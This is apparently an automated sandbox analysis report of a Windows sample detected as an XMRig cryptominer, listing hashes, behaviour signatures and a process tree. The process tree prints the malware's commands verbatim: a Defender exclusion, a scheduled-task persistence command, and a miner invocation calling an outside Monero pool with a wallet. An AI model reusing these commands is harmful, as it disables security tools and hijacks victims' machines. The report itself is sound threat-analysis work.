Analysis

  • max time kernel
    86s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/01/2023, 19:35

General

  • Target

    50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe

  • Size

    739KB

  • MD5

    0727880d70ecfc773bb170445ea156b2

  • SHA1

    258150fb6f9788b5fa885b89efb20c64353b4b7f

  • SHA256

    50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc

  • SHA512

    8485c5c43ef939f85f6012a03f7a4d70e6d0f61ca760a65692b3ee1834d61b33caf6b9ce468dbe1f35688f80226e59fdc33284e4be71acdfa7318792e2e83925

  • SSDEEP

    12288:LBvrUz3MkUSZ+ASQHuvNZ2RCBbzlgC0OqeXF6Pm++qMXmCQrt2JVrXO6eXwQ1B1w:NvrUz3MkUSZ+A3X6bxgfOqe4+qNCQp2x

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe
    "C:\Users\Admin\AppData\Local\Temp\50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3764
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2524
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "WSEL" /tr "C:\ProgramData\7zip\WSEL.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3284
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "WSEL" /tr "C:\ProgramData\7zip\WSEL.exe"
        3⤵
        • Creates scheduled task(s)
        PID:5036
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:752

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/752-163-0x000001EA8BF80000-0x000001EA8BFA0000-memory.dmp

    Filesize

    128KB

  • memory/752-162-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/752-171-0x000001EA8D8B0000-0x000001EA8D8D0000-memory.dmp

    Filesize

    128KB

  • memory/752-170-0x000001EA8D8D0000-0x000001EA8D8F0000-memory.dmp

    Filesize

    128KB

  • memory/752-169-0x000001EA8D8B0000-0x000001EA8D8D0000-memory.dmp

    Filesize

    128KB

  • memory/752-168-0x000001EA8D870000-0x000001EA8D8B0000-memory.dmp

    Filesize

    256KB

  • memory/752-172-0x000001EA8D8D0000-0x000001EA8D8F0000-memory.dmp

    Filesize

    128KB

  • memory/752-167-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/752-164-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/752-161-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/752-159-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/2524-149-0x00007FFA1AF50000-0x00007FFA1BA11000-memory.dmp

    Filesize

    10.8MB

  • memory/2524-148-0x0000019A6E430000-0x0000019A6E452000-memory.dmp

    Filesize

    136KB

  • memory/3764-143-0x0000000000020000-0x0000000000140000-memory.dmp

    Filesize

    1.1MB

  • memory/3764-144-0x00007FFA1BF80000-0x00007FFA1C0CE000-memory.dmp

    Filesize

    1.3MB

  • memory/3764-150-0x0000000000020000-0x0000000000140000-memory.dmp

    Filesize

    1.1MB

  • memory/3764-146-0x00007FFA1AF50000-0x00007FFA1BA11000-memory.dmp

    Filesize

    10.8MB

  • memory/3764-134-0x00007FFA39780000-0x00007FFA3981E000-memory.dmp

    Filesize

    632KB

  • memory/3764-154-0x00007FFA1AF50000-0x00007FFA1BA11000-memory.dmp

    Filesize

    10.8MB

  • memory/3764-155-0x00007FFA17490000-0x00007FFA174C5000-memory.dmp

    Filesize

    212KB

  • memory/3764-156-0x00007FFA15DF0000-0x00007FFA15EF2000-memory.dmp

    Filesize

    1.0MB

  • memory/3764-157-0x00007FFA38410000-0x00007FFA3847B000-memory.dmp

    Filesize

    428KB

  • memory/3764-158-0x00007FFA364A0000-0x00007FFA364DB000-memory.dmp

    Filesize

    236KB

  • memory/3764-145-0x00007FFA378A0000-0x00007FFA378C7000-memory.dmp

    Filesize

    156KB

  • memory/3764-151-0x00000000012E0000-0x0000000001321000-memory.dmp

    Filesize

    260KB

  • memory/3764-133-0x00007FFA1C2A0000-0x00007FFA1C34A000-memory.dmp

    Filesize

    680KB

  • memory/3764-142-0x0000000000020000-0x0000000000140000-memory.dmp

    Filesize

    1.1MB

  • memory/3764-141-0x00007FFA39940000-0x00007FFA3996B000-memory.dmp

    Filesize

    172KB

  • memory/3764-138-0x00007FFA1AF50000-0x00007FFA1BA11000-memory.dmp

    Filesize

    10.8MB

  • memory/3764-165-0x0000000000020000-0x0000000000140000-memory.dmp

    Filesize

    1.1MB

  • memory/3764-166-0x00007FFA1AF50000-0x00007FFA1BA11000-memory.dmp

    Filesize

    10.8MB

  • memory/3764-140-0x00000000012E0000-0x0000000001321000-memory.dmp

    Filesize

    260KB

  • memory/3764-139-0x0000000000020000-0x0000000000140000-memory.dmp

    Filesize

    1.1MB

  • memory/3764-135-0x00007FFA34FF0000-0x00007FFA35002000-memory.dmp

    Filesize

    72KB

  • memory/3764-137-0x00007FFA38B20000-0x00007FFA38CC1000-memory.dmp

    Filesize

    1.6MB

  • memory/3764-136-0x00007FFA1C1E0000-0x00007FFA1C29D000-memory.dmp

    Filesize

    756KB